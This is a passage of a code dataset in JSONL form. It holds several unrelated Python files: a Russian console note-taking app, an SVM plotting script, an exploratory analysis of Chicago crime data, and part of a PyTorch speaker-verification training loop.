(wflowName, currStatus, newstatus))\n setStatus(url, wflowName, newstatus)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"amaltaro/scripts","sub_path":"ReqMgr2/setrequeststatus.py","file_name":"setrequeststatus.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"41955266551","text":"# def decor(func):\n# def wrapper():\n# print(\"Текущая информация:\\n\", )\n# func()\n# return wrapper()\n\nclass Records: # Записи\n def __init__(self, title, deadline=None, group=None, importance=None, text=None, done=False):\n self.title = title\n self.deadline = deadline\n self.group = group\n self.importance = importance\n self.text = text\n self.done = done\n\n # def __init__(self, title):\n # self.title = title\n # self.deadline = None\n # self.group = None\n # self.importance = None\n # self.text = None\n # self.done = False\n\n def get_attrs(self):\n return self.title, self.deadline, self.group, self.importance, self.text, self.done\n\n def show_title(self):\n print(f\"Название записи: {self.title}\")\n\n def show_deadline(self):\n if self.deadline is None:\n print(f'Дедлайн записи \"{self.title}\" не установлен.')\n else:\n print(f'Дедлайн записи \"{self.title}\": {self.deadline}')\n\n def show_group(self):\n if self.group is None:\n print(f'Запись \"{self.title}\" не принадлежит ни к какой группе.')\n else:\n print(f'Запись \"{self.title}\" принадлежит к группе \"{self.group}\".')\n\n def show_importance(self):\n if self.importance is None:\n print(f'Запись \"{self.title}\" не имеет степеня важности.')\n else:\n print(f'Запись \"{self.title}\" имеет степень важности \"{self.importance}\"')\n\n def show_text(self):\n if self.text is None:\n print(f'Запись \"{self.title}\" не имеет описания.')\n else:\n print(f'Описание записи \"{self.title}\":\\n\"{self.text}\"')\n\n def show_done(self):\n if self.done:\n print(f'Запись \"{self.title}\" выполнена.')\n else:\n print(f'Запись \"{self.title}\" не выполнена.')\n\n\n# class TaskManager(Records): # Задачи\n# def __init__(self, title):\n# super().__init__(title)\n#\n#\n# class Notes(Records): # Заметки\n# def __init__(self, title):\n# super().__init__(title)\n\ndef print_records(dict_):\n print(\"---ВВЕДИТЕ НАЗВАНИЕ ЗАПИСИ, чтобы отредактировать её поля---\"\n \"\\n(/c - вернуться в меню)\")\n for val in dict_.values():\n print(f'\"{val.title}\"', end=\" \")\n # return input(\"\\n>> \")\n temp_ = input(\"\\n>> \")\n for val in dict_.values():\n if temp_ == val.title:\n return val\n elif temp_ == \"/c\":\n return False\n print(\"!!!ВЫ ВВЕЛИ НЕЗАРЕГИСТРИРОВАННУЮ ЗАПИСЬ!!!\\n\")\n return print_records(dict_)\n\n\nif __name__ == \"__main__\":\n records = {}\n count = 0\n while True:\n print(\"\\nМеню приложения:\\n\"\n \"\\t1: Добавить запись\\n\"\n \"\\t2: Редактировать запись\\n\"\n \"\\t3: Дублировать запись\\n\"\n \"\\t4: Удалить запись\\n\"\n \"\\t5: Посмотреть записи\\n\"\n \"\\t6: Поиск записей\\n\"\n \"\\t0: Выйти\") # Меню\n check = input(\"<---{ВВЕДИТЕ ЦИФРУ, соответствующую пункту меню}--->\\n>> \")\n if check == \"0\": # Выйти\n print(\"!___[ПРОГРАММА ЗАКРЫТА]___!\")\n break\n\n elif check == \"1\": # Добавить запись\n count += 1\n obj = Records(f\"Запись №{count}\")\n temp = input(\"<---{ЗАПОЛНИТЕ ПОЛЯ}--->\\n\"\n \"(Enter для пропуска)\\n\"\n \"\\nНазвание записи:\\n>> \")\n if temp != \"\":\n obj.title = temp\n\n temp = input(\"Дедлайн задачи:\\n>> \")\n if temp != \"\":\n obj.deadline = temp\n\n temp = input(\"Група записей:\\n>> \")\n if temp != \"\":\n obj.group = temp\n\n while True:\n temp = input(\"Степень важности записи:\\n\"\n \"\\t1. Важное Срочное\\n\"\n \"\\t2. Важное НеСрочное\\n\"\n \"\\t3. НеВажное Срочное\\n\"\n \"\\t4. НеВажное НеСрочное\\n>> \") # Степень важности записи\n if temp == \"\":\n break\n elif temp == \"1\":\n obj.importance = \"Важное Срочное\"\n elif temp == \"2\":\n obj.importance = \"Важное НеСрочное\"\n elif temp == \"3\":\n obj.importance = \"НеВажное Срочное\"\n elif temp == \"4\":\n obj.importance = \"НеВажное НеСрочное\"\n else:\n print(\"!!!ВЫ ВВЕЛИ НЕЗАРЕГИСТРИРОВАННЫЙ СИМВОЛ!!!\\n\"\n \"\\t!Повторите ввод!\")\n continue\n break\n\n temp = input(\"Текст записи:\\n>> \")\n if temp != \"\":\n obj.text = temp\n\n records[count] = obj\n\n elif check == \"2\": # Редактировать запись\n if records:\n record = print_records(records)\n if record is False:\n continue\n while True:\n print(\"Поля записи:\\n\"\n \"\\t1. Название\\n\"\n \"\\t2. Дедлайн\\n\"\n \"\\t3. Група\\n\"\n \"\\t4. Степень важности записи\\n\"\n \"\\t5. Текст записи\\n\"\n \"\\t6. Готово/Не готово\") # Поля записи\n temp = input(\"<---{ВВЕДИТЕ ЦИФРУ, соответствующую полю записи}--->\"\n \"\\n(0 - вернуться в меню)\\n>> \")\n if temp == \"0\":\n break\n elif temp == \"1\":\n record.show_title()\n new = input(\"(/c - отменить изменение поля)\\n>> \")\n record.title = new if new != \"/c\" else record.title\n elif temp == \"2\":\n record.show_deadline()\n new = input(\"(/c - отменить изменение поля)\\n>> \")\n record.deadline = new if new != \"/c\" else record.deadline\n elif temp == \"3\":\n record.show_group()\n new = input(\"(/c - отменить изменение поля)\\n>> \")\n record.group = new if new != \"/c\" else record.group\n elif temp == \"4\":\n record.show_importance()\n new = input(\"Доступные степени важности записи:\\n\"\n \"\\t1. Важное Срочное\\n\"\n \"\\t2. Важное НеСрочное\\n\"\n \"\\t3. НеВажное Срочное\\n\"\n \"\\t4. НеВажное НеСрочное\\n\"\n \"(/c - отменить изменение поля)\\n>> \")\n if new != \"/c\":\n if new == \"1\":\n record.importance = \"Важное Срочное\"\n elif new == \"2\":\n record.importance = \"Важное НеСрочное\"\n elif new == \"3\":\n record.importance = \"НеВажное Срочное\"\n elif new == \"4\":\n record.importance = \"НеВажное НеСрочное\"\n else:\n print(\"!!!ВЫ ВВЕЛИ НЕЗАРЕГИСТРИРОВАННЫЙ СИМВОЛ!!!\\n\")\n elif temp == \"5\":\n record.show_text()\n new = input(\"(/c - отменить изменение поля)\\n>> \")\n record.text = new if new != \"/c\" else record.text\n elif temp == \"6\":\n record.show_done()\n new = input(\"(/c - отменить изменение поля)\\n>> \")\n if new != \"/c\":\n if new.lower() in [\"1\", \"готово\", \"да\", \"выполнено\", \"true\"]:\n record.done = True\n elif new.lower() in [\"0\", \"не готово\", \"нет\", \"не выполнено\", \"false\"]:\n record.done = False\n else:\n print(\"!!!ВЫ ВВЕЛИ НЕЗАРЕГИСТРИРОВАННЫЙ СИМВОЛ!!!\\n\")\n else:\n print(\"!!!ВЫ ВВЕЛИ НЕЗАРЕГИСТРИРОВАННЫЙ СИМВОЛ!!!\\n\")\n # break\n else:\n print(\"<---{СПИСОК ЗАПИСЕЙ ПУСТ}--->\")\n\n elif check == \"3\": # Дублировать запись\n if records:\n record = print_records(records)\n if record is False:\n continue\n count += 1\n records[count] = record\n else:\n print(\"<---{СПИСОК ЗАПИСЕЙ ПУСТ}--->\")\n\n elif check == \"4\": # Удалить запись\n if records:\n continue\n else:\n print(\"<---{СПИСОК ЗАПИСЕЙ ПУСТ}--->\")\n\n elif check == \"5\": # Посмотреть записи\n if records:\n print(\"\\n[ВСЕ ЗАПИСИ]:\")\n for key, value in records.items():\n print(f\"\\t{key}: {value.get_attrs()}\")\n else:\n print(\"<---{СПИСОК ЗАПИСЕЙ ПУСТ}--->\")\n\n elif check == \"6\": # Поиск записей\n if records:\n continue\n else:\n print(\"<---{СПИСОК ЗАПИСЕЙ ПУСТ}--->\")\n\n else:\n print(\"!!!ВЫ ВВЕЛИ НЕЗАРЕГИСТРИРОВАННЫЙ СИМВОЛ!!!\\n\"\n \"\\t!Повторите ввод!\")\n","repo_name":"hillel-i-python-pro-i-2022-05-19/homework__sichkar_denis__project","sub_path":"poc.py","file_name":"poc.py","file_ext":"py","file_size_in_byte":11132,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73201485868","text":"from svm import SVM, RBF_kernel\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nif __name__ == \"__main__\":\n training_data = np.loadtxt(f\"data5/training_3.txt\")\n gamma = 100\n plt.figure(3)\n\n print(f\"-------------training_data3, gamma = {gamma}---------------\")\n svm = SVM(training_data, kernel=RBF_kernel)\n svm.train()\n svm.plot_contour()\n plt.title(r\"$\\gamma$ = {}\".format(gamma))\n plt.legend(['y = 1', 'y = -1'])\n\n plt.show()\n\n","repo_name":"cliche9/Machine-Learning-2021-Fall","sub_path":"exp5/non_linear_svm.py","file_name":"non_linear_svm.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"36743792265","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom datetime import date\nimport seaborn as sns\nfrom sklearn.tree import DecisionTreeRegressor \nfrom sklearn.model_selection import train_test_split #train_test_split\nfrom sklearn import metrics #for accuracy calculation\n\ndata_url = 'https://data.cityofchicago.org/api/views/ijzp-q8t2/rows.csv?accessType=DOWNLOAD'\ndef read_file(csv):\n file = pd.read_csv(csv)\n return file\n\ndef type_conv(data):\n date_col = ['Date', 'Updated On']\n int_col = ['District', 'Ward', 'Community Area', 'X Coordinate', 'Y Coordinate', \n 'Historical Wards 2003-2015', 'Zip Codes', 'Community Areas', 'Census Tracts', 'Wards', \n 'Boundaries - ZIP Codes', 'Police Districts', 'Police Beats']\n #string to date\n data.loc[:, date_col] = data.loc[:, date_col].apply(pd.to_datetime) \n #float to int\n data.loc[:, int_col] = data.loc[:, int_col].astype('int64')\n \n return print(\"data types of the columns have been converted\")\n\ndef data_preprocess(data):\n #Dropping unnecessary columns\n data = data.drop(columns = ['X Coordinate', 'Y Coordinate', \n 'Police Beats', 'Case Number', 'Census Tracts','Case Number', \n 'Census Tracts', 'Historical Wards 2003-2015'])\n \n null_numeric = ['District', 'Ward', 'Community Area', 'Zip Codes', 'Community Areas', \n 'Wards', 'Boundaries - ZIP Codes', 'Police Districts', 'Latitude', 'Longitude']\n null_string = ['Location Description', 'Location']\n \n data.loc[:, null_numeric] = data.loc[:, null_numeric].fillna(value = 0)\n data.loc[:, null_string] = data.loc[:, null_string].fillna(value = 'unspecified')\n \n #Getting hourly, monthly and yearly dimensions\n data['hour'] = data['Date'].apply(lambda a: a.hour).astype('int64')\n data['month'] = data['Date'].apply(lambda a: a.month).astype('int64')\n data['year'] = data['Date'].apply(lambda a: a.year).astype('int64')\n data['day of the week'] = data['Date'].apply(lambda a: a.weekday())\n \n return data\n\n#Get Season\ndef get_season(tran_month):\n if tran_month==12:\n season = 'Winter'\n elif tran_month==1:\n season = 'Winter'\n elif tran_month==2:\n season = 'Winter'\n elif tran_month==3:\n season = 'Spring'\n elif tran_month==4:\n season = 'Spring'\n elif tran_month==5:\n season = 'Spring'\n elif tran_month==6:\n season = 'Summer'\n elif tran_month==7:\n season = 'Summer'\n elif tran_month==8:\n season = 'Summer'\n else:\n season = 'Fall'\n return season\n\ndef get_weekend(day):\n if day == 'Saturday':\n weekend=1\n elif day == 'Sunday':\n weekend=1\n else:\n weekend=0\n return weekend\n\n#Year over year crimes\ndef yoy(data):\n plt.figure(figsize = (12, 6))\n data.resample('Y').size().plot(legend=False)\n plt.title('Number of crimes per year 2001-2019')\n plt.xlabel('Year')\n plt.ylabel('Number of crimes')\n plt.show()\n\n#Month over month crimes\ndef mom(data):\n plt.figure(figsize = (12, 6))\n data.resample('M').size().plot(legend=False)\n plt.title('Number of crimes per month 2001-2019')\n plt.xlabel('Month')\n plt.ylabel('Number of crimes')\n plt.show()\n\ndef top3(data): \n #Top Crimes every year\n crime_cnt = data.groupby(['year','Primary Type'])['Primary Type'].count().to_frame('count')\n cnt = crime_cnt.reset_index()\n g = crime_cnt['count'].groupby(level=0, group_keys=False)\n top_crimes = g.nlargest(3).reset_index()\n top5_crimes = g.nlargest(5).reset_index()\n \n names17 = list(top_crimes[top_crimes['year'] == 2017]['Primary Type'])\n values17 = list(top_crimes[top_crimes['year'] == 2017]['count']*100/sum(cnt[cnt['year'] == 2017]['count']))\n \n names18 = list(top_crimes[top_crimes['year'] == 2018]['Primary Type'])\n values18 = list(top_crimes[top_crimes['year'] == 2018]['count']*100/sum(cnt[cnt['year'] == 2018]['count']))\n \n names19 = list(top_crimes[top_crimes['year'] == 2019]['Primary Type'])\n values19 = list(top_crimes[top_crimes['year'] == 2019]['count']*100/sum(cnt[cnt['year'] == 2019]['count']))\n \n fig, axs = plt.subplots(1, 3, figsize=(15, 7), sharey=True)\n axs[0].bar(names17, values17)\n axs[1].bar(names18, values18)\n axs[2].bar(names19, values19)\n axs[0].title.set_text('2017')\n axs[0].set_ylabel('Percentage (%)')\n axs[1].title.set_text('2018')\n axs[2].title.set_text('2019')\n fig.suptitle('Top 3 types of crimes in Chicago 2017-2019')\n \ndef MoM_Curr(data):\n plt.figure(figsize = (12, 6))\n data[data['year'].isin([2017,2018,2019])].resample('M').size().plot(legend=False)\n plt.title('Number of crimes per month 2017-2019')\n plt.xlabel('Month')\n plt.ylabel('Number of crimes')\n plt.show()\n \ndef mom_prim(data):\n crime_cnt = data.groupby(['year','Primary Type'])['Primary Type'].count().to_frame('count')\n cnt = crime_cnt.reset_index()\n g = crime_cnt['count'].groupby(level=0, group_keys=False)\n top5_crimes = g.nlargest(5).reset_index()\n top5 = data[data['Primary Type'].isin(top5_crimes['Primary Type'].unique())]\n fig, ax = plt.subplots(figsize=(15,7))\n top5.groupby(['year','Primary Type']).count()['ID'].unstack().plot(ax=ax)\n \ndef roll_yoy(data):\n #Rolling sum of crimes by primary type year over year\n cnt_dt = data.pivot_table('ID', aggfunc=np.size, columns='Primary Type', index = data.index.date, fill_value = 0)\n cnt_dt.index = pd.DatetimeIndex(cnt_dt.index)\n cnt_dt.rolling(365).sum().plot(figsize=(15, 30), subplots=True, layout=(-1, 3), sharex=False, sharey=False)\n return (\"Rolling Sum YoY\")\n\ndef roll_prim(data):\n #Rolling sum of crimes by primary type year over year\n cnt_dt = data.pivot_table('ID', aggfunc=np.size, columns='Primary Type', index = data.index.date, fill_value = 0)\n cnt_dt.index = pd.DatetimeIndex(cnt_dt.index)\n cnt_dt.rolling(365).sum().plot(figsize=(15, 30), subplots=True, layout=(-1, 3), sharex=False, sharey=False)\n return (\"Rolling Sum YoY by Type\")\n \ndef arrest(data):\n #Subsetting arrest data \n Arrest_data = data[data['Arrest'] == True]\n\n #Rolling sum of arrests\n plt.figure(figsize=(11,4))\n Arrest_data.resample('D').size().rolling(365).sum().plot()\n plt.title('Rolling sum of all arrests from 2001 - 2019')\n plt.ylabel('Number of arrests')\n plt.xlabel('Days')\n plt.show()\n return (\"Rolling sum of Arrest\")\n\ndef top_comm(data):\n #Crimes by community area\n cmt_cnt = data_current.groupby(['year','Community Areas'])['ID'].count().to_frame('count')\n d = cmt_cnt['count'].groupby(level=0, group_keys=False)\n top_unsafe_comm = d.nlargest(10).reset_index()\n comm_cnt = top_unsafe_comm.pivot_table('count', columns='year', index='Community Areas', aggfunc=np.sum).sort_values(by = 2019, ascending=False).reset_index()\n return comm_cnt\n\ndef comm(data):\n #Investigating COmmunity 26\n df26 = data[data['Community Area'] == 26].copy()\n # plot data\n cntdf26 = df26.pivot_table('ID', aggfunc=np.size, columns='Primary Type', index=pd.DatetimeIndex(df26.index.date), fill_value=0)\n cntdf26.rolling(365).sum().plot(figsize=(15, 30), subplots=True, layout=(-1, 3), sharex=False, sharey=False)\n \ndef beat(data):\n #Crimes by beat\n recent_yrs = [2016,2017,2018,2019]\n bt_cnt = data[data['year']==2019].groupby(['year','Beat'])['ID'].count().to_frame('count')\n bt = bt_cnt['count'].groupby(level=0, group_keys=False)\n top_unsafe_bt = bt.nlargest(10).reset_index()\n beat_cnt = top_unsafe_bt.pivot_table('count', columns='year', index='Beat', aggfunc=np.sum).sort_values(by = 2019, ascending=False).reset_index()\n\n bt_19 = top_unsafe_bt['Beat']\n bt_cnt_all = data[(data['year'].isin(recent_yrs)) & (data['Beat'].isin(bt_19))].groupby(['year','Beat'])['ID'].count().to_frame('count').reset_index()\n\n xpos=np.arange(len(bt_19))\n plt.figure(figsize=(12,5))\n plt.xticks(xpos, bt_19)\n plt.bar(x=xpos-0.4,width=0.2, height=bt_cnt_all[bt_cnt_all['year']==2016]['count'], label='2016')\n plt.bar(x=xpos-0.2,width=0.2, height=bt_cnt_all[bt_cnt_all['year']==2017]['count'], label='2017')\n plt.bar(x=xpos,width=0.2, height=bt_cnt_all[bt_cnt_all['year']==2018]['count'], label='2018')\n plt.bar(x=xpos+0.2,width=0.2, height=bt_cnt_all[bt_cnt_all['year']==2019]['count'], label='2019')\n plt.legend()\n plt.title(\"Number of Crime by Beats 2016-2019\")\n plt.xlabel(\"Beat\")\n plt.ylabel(\"No. of crimes\")\n \nrecent_yrs = [2017, 2018, 2019]\ndef rec_crimes(data):\n #No. of crimes by time and year\n cnt_hr = data[data['year'].isin(recent_yrs)].pivot_table('ID', aggfunc=np.size, columns='year', index = data[data['year'].isin(recent_yrs)].index.hour, fill_value = 0)\n return cnt_hr.plot(figsize=(16, 5), subplots=True, layout=(-1, 4), sharex=False, sharey=True)\n\n\ndef hypothesis(data):\n #Hypothesis Testing\n #1. Least number of crimes occur during winters\n burgThft = data[data['year']==2019]\n rand_winter = burgThft[burgThft['season']=='Winter']\n rand_summer = burgThft[burgThft['season']=='Summer']\n rand_fall = burgThft[burgThft['season']=='Fall']\n rand_spring = burgThft[burgThft['season']=='Spring']\n winter_cnt = rand_winter.groupby(['hour'])['ID'].count().to_frame('count').reset_index()\n summer_cnt = rand_summer.groupby(['hour'])['ID'].count().to_frame('count').reset_index()\n fall_cnt = rand_fall.groupby(['hour'])['ID'].count().to_frame('count').reset_index()\n spring_cnt = rand_spring.groupby(['hour'])['ID'].count().to_frame('count').reset_index()\n\n plt.figure(figsize=(12,5))\n plt.plot(winter_cnt['count'], label='Winter')\n plt.plot(summer_cnt['count'], label='Summer')\n plt.plot(fall_cnt['count'], label='Fall')\n plt.plot(spring_cnt['count'], label='Spring')\n plt.legend()\n plt.title('Hourly trend of crimes - Winter vs Rest 2019')\n plt.xlabel('hours')\n plt.ylabel('No. of crimes')\n \ndef modeling(data):\n df_ml = data.copy()\n #Factorizing the string data\n df_ml['Primary Type'] = pd.factorize(df_ml[\"Primary Type\"])[0]\n df_ml['Block'] = pd.factorize(df_ml[\"Block\"])[0]\n df_ml['IUCR'] = pd.factorize(df_ml[\"IUCR\"])[0]\n df_ml['Location Description'] = pd.factorize(df_ml[\"Location Description\"])[0]\n df_ml['FBI Code'] = pd.factorize(df_ml[\"FBI Code\"])[0]\n df_ml['Location'] = pd.factorize(df_ml[\"Location\"])[0]\n return df_ml\n\ndef corr(data):\n #Using Pearson Correlation\n plt.figure(figsize=(20,10))\n cor = data.corr()\n sns.heatmap(cor, annot=True, cmap=plt.cm.Reds)\n plt.show()\n #Identifying important variables\n cor_y = abs(cor['Primary Type'])\n imp_var = cor_y[(cor_y>0.2) & (cor_y<=0.7)]\n print(\"Only following are the variables (with correlation coefficient) important for modeling\\n{}\".format(imp_var))\n\n\nif __name__ == \"__main__\" :\n #Decision Tree Regression\n X = df_ml[['IUCR','FBI Code']]\n y = df_ml[['Primary Type']]\n\n\n #Test train Splitting\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=22)\n\n # Create Decision Tree classifer object\n regressor = DecisionTreeRegressor()\n regressor.fit(X_train, y_train)\n\n #Predict\n y_pred = pd.DataFrame(regressor.predict(X_test)).astype('int64')\n\n\n # Model Evaluation\n\n accuracy = metrics.accuracy_score(y_test , y_pred)\n\n confusion_m = metrics.confusion_matrix(y_test , y_pred)\n\n\n\n\n\n\n\n\n\n","repo_name":"ShakyaWork/Academic-Projects","sub_path":"Chicago_Main.py","file_name":"Chicago_Main.py","file_ext":"py","file_size_in_byte":11505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20879433807","text":"import torch\nimport torch.nn.functional as F\n\nimport numpy as np\n\nimport os\nfrom tqdm import tqdm\nfrom utils.losses import LabelSmoothingLoss\nfrom utils.harvester import AllTripletSelector\nfrom utils.utils import compute_eer\n\nclass TrainLoop(object):\n\n\tdef __init__(self, model, optimizer, train_loader, valid_loader, max_gnorm=10.0, label_smoothing=0.0, verbose=-1, device=0, cp_name=None, save_cp=False, checkpoint_path=None, checkpoint_epoch=None, pretrain=False, ablation=False, cuda=True, logger=None):\n\t\tif checkpoint_path is None:\n\t\t\t# Save to current directory\n\t\t\tself.checkpoint_path = os.getcwd()\n\t\telse:\n\t\t\tself.checkpoint_path = checkpoint_path\n\t\t\tif not os.path.isdir(self.checkpoint_path):\n\t\t\t\tos.mkdir(self.checkpoint_path)\n\n\t\tself.save_epoch_fmt = os.path.join(self.checkpoint_path, cp_name) if cp_name else os.path.join(self.checkpoint_path, 'checkpoint_{}ep.pt')\n\t\tself.cuda_mode = cuda\n\t\tself.pretrain = pretrain\n\t\tself.ablation = ablation\n\t\tself.model = model\n\t\tself.max_gnorm = max_gnorm\n\t\tself.optimizer = optimizer\n\t\tself.train_loader = train_loader\n\t\tself.valid_loader = valid_loader\n\t\tself.total_iters = 0\n\t\tself.cur_epoch = 0\n\t\tself.harvester = AllTripletSelector()\n\t\tself.verbose = verbose\n\t\tself.save_cp = save_cp\n\t\tself.device = device\n\t\tself.logger = logger\n\t\tself.history = {'train_loss': [], 'train_loss_batch': [], 'ce_loss': [], 'ce_loss_batch': [], 'bin_loss': [], 'bin_loss_batch': []}\n\t\tself.disc_label_smoothing = label_smoothing*0.5\n\n\t\tif label_smoothing>0.0:\n\t\t\tself.ce_criterion = LabelSmoothingLoss(label_smoothing, lbl_set_size=train_loader.dataset.n_speakers)\n\t\telse:\n\t\t\tself.ce_criterion = torch.nn.CrossEntropyLoss()\n\n\t\tif self.valid_loader is not None:\n\t\t\tself.history['e2e_eer'] = []\n\t\t\tself.history['cos_eer'] = []\n\t\t\tself.history['fus_eer'] = []\n\n\t\tif checkpoint_epoch is not None:\n\t\t\tself.load_checkpoint(self.save_epoch_fmt.format(checkpoint_epoch))\n\n\tdef train(self, n_epochs=1, save_every=1):\n\n\t\twhile (self.cur_epoch < n_epochs):\n\n\t\t\tnp.random.seed()\n\t\t\tself.train_loader.dataset.update_lists()\n\n\t\t\tif self.verbose>1:\n\t\t\t\tprint(' ')\n\t\t\t\tprint('Epoch {}/{}'.format(self.cur_epoch+1, n_epochs))\n\t\t\t\tprint('Number of training examples given new list: {}'.format(len(self.train_loader.dataset)))\n\t\t\t\ttrain_iter = tqdm(enumerate(self.train_loader), total=len(self.train_loader))\n\t\t\telse:\n\t\t\t\ttrain_iter = enumerate(self.train_loader)\n\n\t\t\tif self.pretrain:\n\n\t\t\t\tce_epoch=0.0\n\t\t\t\tfor t, batch in train_iter:\n\t\t\t\t\tce = self.pretrain_step(batch)\n\t\t\t\t\tself.history['train_loss_batch'].append(ce)\n\t\t\t\t\tce_epoch+=ce\n\t\t\t\t\tif self.logger:\n\t\t\t\t\t\tself.logger.add_scalar('Train/Cross entropy', ce, self.total_iters)\n\t\t\t\t\t\tself.logger.add_scalar('Info/LR', self.optimizer.optimizer.param_groups[0]['lr'], self.total_iters)\n\n\t\t\t\t\tself.total_iters += 1\n\n\t\t\t\tself.history['train_loss'].append(ce_epoch/(t+1))\n\n\t\t\t\tif self.verbose>1:\n\t\t\t\t\tprint('Train loss: {:0.4f}'.format(self.history['train_loss'][-1]))\n\n\t\t\telse:\n\n\t\t\t\ttrain_loss_epoch=0.0\n\t\t\t\tce_loss_epoch=0.0\n\t\t\t\tbin_loss_epoch=0.0\n\t\t\t\tfor t, batch in train_iter:\n\t\t\t\t\ttrain_loss, ce_loss, bin_loss = self.train_step(batch)\n\t\t\t\t\tself.history['train_loss_batch'].append(train_loss)\n\t\t\t\t\tself.history['ce_loss_batch'].append(ce_loss)\n\t\t\t\t\tself.history['bin_loss_batch'].append(bin_loss)\n\t\t\t\t\ttrain_loss_epoch+=train_loss\n\t\t\t\t\tce_loss_epoch+=ce_loss\n\t\t\t\t\tbin_loss_epoch+=bin_loss\n\t\t\t\t\tif self.logger:\n\t\t\t\t\t\tself.logger.add_scalar('Train/Total train Loss', train_loss, self.total_iters)\n\t\t\t\t\t\tself.logger.add_scalar('Train/Binary class. Loss', bin_loss, self.total_iters)\n\t\t\t\t\t\tself.logger.add_scalar('Train/Cross enropy', ce_loss, self.total_iters)\n\t\t\t\t\t\tself.logger.add_scalar('Info/LR', self.optimizer.optimizer.param_groups[0]['lr'], self.total_iters)\n\n\t\t\t\t\tself.total_iters += 1\n\n\t\t\t\tself.history['train_loss'].append(train_loss_epoch/(t+1))\n\t\t\t\tself.history['ce_loss'].append(ce_loss_epoch/(t+1))\n\t\t\t\tself.history['bin_loss'].append(bin_loss_epoch/(t+1))\n\n\t\t\t\tif self.verbose>1:\n\t\t\t\t\tprint(' ')\n\t\t\t\t\tprint('Total train loss: {:0.4f}'.format(self.history['train_loss'][-1]))\n\t\t\t\t\tprint('CE loss: {:0.4f}'.format(self.history['ce_loss'][-1]))\n\t\t\t\t\tprint('Binary classification loss: {:0.4f}'.format(self.history['bin_loss'][-1]))\n\t\t\t\t\tprint(' ')\n\n\t\t\tif self.valid_loader is not None:\n\n\t\t\t\te2e_scores, cos_scores, labels, emb, y_ = None, None, None, None, None\n\n\t\t\t\tfor t, batch in enumerate(self.valid_loader):\n\t\t\t\t\te2e_scores_batch, cos_scores_batch, labels_batch, emb_batch, y_batch = self.valid(batch)\n\n\t\t\t\t\ttry:\n\t\t\t\t\t\te2e_scores = np.concatenate([e2e_scores, e2e_scores_batch], 0)\n\t\t\t\t\t\tcos_scores = np.concatenate([cos_scores, cos_scores_batch], 0)\n\t\t\t\t\t\tlabels = np.concatenate([labels, labels_batch], 0)\n\t\t\t\t\t\temb = np.concatenate([emb, emb_batch], 0)\n\t\t\t\t\t\ty_ = np.concatenate([y_, y_batch], 0)\n\t\t\t\t\texcept:\n\t\t\t\t\t\te2e_scores, cos_scores, labels, emb, y_ = e2e_scores_batch, cos_scores_batch, labels_batch, emb_batch, y_batch\n\n\t\t\t\tfus_scores = (e2e_scores + 0.5*(cos_scores+1.))*0.5\n\n\t\t\t\tself.history['e2e_eer'].append(compute_eer(labels, e2e_scores))\n\t\t\t\tself.history['cos_eer'].append(compute_eer(labels, cos_scores))\n\t\t\t\tself.history['fus_eer'].append(compute_eer(labels, fus_scores))\n\n\t\t\t\tif self.logger:\n\t\t\t\t\tself.logger.add_scalar('Valid/E2E EER', self.history['e2e_eer'][-1], self.total_iters-1)\n\t\t\t\t\tself.logger.add_scalar('Valid/Best E2E EER', np.min(self.history['e2e_eer']), self.total_iters-1)\n\t\t\t\t\tself.logger.add_scalar('Valid/Cosine EER', self.history['cos_eer'][-1], self.total_iters-1)\n\t\t\t\t\tself.logger.add_scalar('Valid/Best Cosine EER', np.min(self.history['cos_eer']), self.total_iters-1)\n\t\t\t\t\tself.logger.add_scalar('Valid/Fus EER', self.history['fus_eer'][-1], self.total_iters-1)\n\t\t\t\t\tself.logger.add_scalar('Valid/Best Fus EER', np.min(self.history['fus_eer']), self.total_iters-1)\n\t\t\t\t\tself.logger.add_pr_curve('E2E ROC', labels=labels, predictions=e2e_scores, global_step=self.total_iters-1)\n\t\t\t\t\tself.logger.add_pr_curve('Cosine ROC', labels=labels, predictions=cos_scores, global_step=self.total_iters-1)\n\t\t\t\t\tself.logger.add_pr_curve('Fus ROC', labels=labels, predictions=fus_scores, global_step=self.total_iters-1)\n\n\t\t\t\t\tif emb.shape[0]>20000:\n\t\t\t\t\t\tidxs = np.random.choice(np.arange(emb.shape[0]), size=20000, replace=False)\n\t\t\t\t\t\temb, y_ = emb[idxs, :], y_[idxs]\n\n\t\t\t\t\tself.logger.add_histogram('Valid/Embeddings', values=emb, global_step=self.total_iters-1)\n\t\t\t\t\tself.logger.add_histogram('Valid/COS_Scores', values=cos_scores, global_step=self.total_iters-1)\n\t\t\t\t\tself.logger.add_histogram('Valid/E2E_Scores', values=e2e_scores, global_step=self.total_iters-1)\n\t\t\t\t\tself.logger.add_histogram('Valid/FUS_Scores', values=fus_scores, global_step=self.total_iters-1)\n\t\t\t\t\tself.logger.add_histogram('Valid/Labels', values=labels, global_step=self.total_iters-1)\n\n\t\t\t\t\tif self.verbose>1:\n\t\t\t\t\t\tself.logger.add_embedding(mat=emb, metadata=list(y_), global_step=self.total_iters-1)\n\n\t\t\t\tif self.verbose>1:\n\t\t\t\t\tprint(' ')\n\t\t\t\t\tprint('Current e2e EER, best e2e EER, and epoch: {:0.4f}, {:0.4f}, {}'.format(self.history['e2e_eer'][-1], np.min(self.history['e2e_eer']), 1+np.argmin(self.history['e2e_eer'])))\n\t\t\t\t\tprint('Current cos EER, best cos EER, and epoch: {:0.4f}, {:0.4f}, {}'.format(self.history['cos_eer'][-1], np.min(self.history['cos_eer']), 1+np.argmin(self.history['cos_eer'])))\n\t\t\t\t\tprint('Current fus EER, best fus EER, and epoch: {:0.4f}, {:0.4f}, {}'.format(self.history['fus_eer'][-1], np.min(self.history['fus_eer']), 1+np.argmin(self.history['fus_eer'])))\n\n\t\t\tif self.verbose>1:\n\t\t\t\tprint('Current LR: {}'.format(self.optimizer.optimizer.param_groups[0]['lr']))\n\n\t\t\tself.cur_epoch += 1\n\n\t\t\tif self.valid_loader is not None and self.save_cp and (self.cur_epoch % save_every == 0 or 